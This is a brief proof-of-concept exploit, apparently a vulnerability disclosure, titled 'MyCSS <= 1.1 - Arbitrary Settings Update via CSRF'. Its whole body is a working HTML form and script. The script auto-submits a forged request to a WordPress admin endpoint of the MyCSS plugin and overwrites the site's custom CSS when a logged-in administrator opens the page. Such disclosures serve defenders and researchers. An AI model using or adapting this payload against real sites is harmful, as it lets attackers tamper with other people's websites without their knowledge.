MyCSS <= 1.1 - Arbitrary Settings Update via CSRF

<form id="test" action="https://example.com/wp-admin/themes.php?page=mycss.php" method="POST">
    <input type="text" name="newcontent" value="">
    <input type="text" name="info_update" value="Update CSS">
</form>
<script>
    document.getElementById("test").submit();
</script>